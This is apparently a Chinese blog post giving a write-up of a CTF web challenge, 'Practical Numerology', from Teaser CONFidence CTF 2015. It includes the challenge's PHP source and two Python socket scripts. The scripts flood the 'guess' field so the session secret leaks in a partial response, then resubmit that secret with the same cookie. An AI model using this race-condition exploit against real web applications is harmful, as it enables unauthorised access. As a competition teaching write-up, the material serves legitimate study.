Fight For Freedom

10月 05

Teaser CONFidence CTF 2015 Practical Numerology

    近来一段时间事情比较多,很少能抽出时间玩这些了。

    这次是关于时间竞争的web题,题目中给出了源码。

<?php
function generate_secret()
{
    $f = fopen('/dev/urandom','rb');
    $secret1 = fread($f,32);
    $secret2 = fread($f,32);
    fclose($f);

    return sha1($secret1).sha1($secret2);
}
session_start();
if(!isset($_SESSION['secret']))
    $_SESSION['secret'] = generate_secret();

if(!isset($_POST['guess']))
{
    echo 'Wanna play lotto? Just try to guess 320 bits.<br/><br/>'.PHP_EOL;
    highlight_file(__FILE__);
    exit;
}
$guess = $_POST['guess'];
if($guess === $_SESSION['secret'])
{
    $flag = require('flag.php');
    exit('Lucky bastard! You won the flag! ' . $flag);
}
//else...
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";
$_SESSION['secret'] = generate_secret();

思路:

      1. 随机不可破,无法破解secret;

      2.  输入的guess以htmlspecialchars的形式输出来,如果我们输入较多的脏字符,会导致此比较耗时。


       现在很明了了,我们传入大量数据,使服务端返回的响应以分块的形式来传输,这样我们就可以在重新生成secret前拿到secret,并以同样的session提交。那么怎样将session保持相同呢,只要我们提交的cookie相同就可以了。

      也就是:提交大量数据 --> 正则匹配抓key --> 再次提交

 

import requests
import socket
import re

host = '192.168.19.132'

header = 'GET / HTTP/1.1\r\n'
header += 'Host: 192.168.19.132\r\n'
header += 'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0\r\n\r\n'

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,80))
s.send(header)
cookie = re.findall('PHPSESSID=(.*);', s.recv(1500))[0]
s.close()


para = 'guess='+'<>'*120000

data = 'POST / HTTP/1.1\r\n'
data += 'Host: 192.168.19.132\r\n'
data += 'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0\r\n'
data += 'Cookie: '+cookie+'\r\n'
data += 'Content-Type: application/x-www-form-urlencoded\r\n'
data += 'Content-Length: %d\r\n\r\n'%len(para)
data += para

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,80))
s.send(data)
recv = s.recv(800)
key = re.findall("'(.*)' !=", recv)[0]
s.close()


url = 'http://192.168.19.132'
payload = {'guess':key}
header = {'Cookie':cookie}
r = requests.post(url,data=payload,headers = header)
print r.text

      

       但是最后跑出来的结果还是失败,无论是把输入的字符增大,还是将提交方式更改。cookie可以任意指定或抓取后固定发送,但每次的cookie都会被重新设定,会导致的session不同,虽然交上去的cookie值一样。

       参考下别人的writeup。

  

#!/usr/bin/python
#
# Teaser CONFidence CTF 2015
# Practical numerology (WEB/300)
#
# @a: Smoke Leet Everyday
# @u: https://github.com/smokeleeteveryday
#

import socket
import re

url = '134.213.136.172'
data = 'guess='

payload1 = 'GET / HTTP/1.1\r\n'
payload1 += 'Host: 134.213.136.172\r\n\r\n'

payload2 = "POST / HTTP/1.1\r\n"
payload2 += "Host: 134.213.136.172\r\n"
payload2 += "Cookie: PHPSESSID={}\r\n"
payload2 += "Content-Length: {}\r\n"
payload2 += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
payload2 += "{}"

s = socket.create_connection((url, 80))
s.send(payload1)
cookie = re.findall('PHPSESSID=(.*);', s.recv(1500))[0]
s.close()

s = socket.create_connection((url, 80))
guess = data + 'A'*1000000
s.send(payload2.format(cookie, len(guess), guess))
secret = re.findall("'(.*)' !=", s.recv(500))[0]
s.close()

s = socket.create_connection((url, 80))
guess = data + secret
s.send(payload2.format(cookie, len(guess), guess))
print s.recv(2000).splitlines()[-1]
s.close()

       但经过实验,发现还是有几个地方没懂:

       1. 每次发送,socket都会重新开启。多次用同一个socket是不行的;

       2. 发现别人的题解里,每次提交完后,cookie都没有重新设定,而我自己写的每次cookie都会重新set。可能这就是造成最后没成功的原因。

       关于时间竞争的有很多,大多都是在上传时遇到的,包括绕过检测、文件包含等,很有意思。以后有时间我会好好总结下(博主很懒)。

      后记:应需保持keep-alive。

标签:none

还不快抢沙发

添加新评论

captcha
请输入验证码

最新文章

最近回复

  • lynahex:...Orz
  • chybeta:师傅好!
  • lynahex:拜大佬
  • cdxy:师傅好
  • lynahex:十分感谢解惑,特别是解决问题的方法。
  • ld:1. 搜索CVE-2016-0701 进入 https://cv...
  • lynahex:好的。
  • xdxd:友链已加~~~希望有机会多多交流~~
  • lynahex:恩,重测了下是可以的。可能当时一些危险函数被我禁掉了。 thx
  • 过客:虽然博主文章过了好久了,本地system测试还是可以执行的
  • 友情链接

    分类

    其它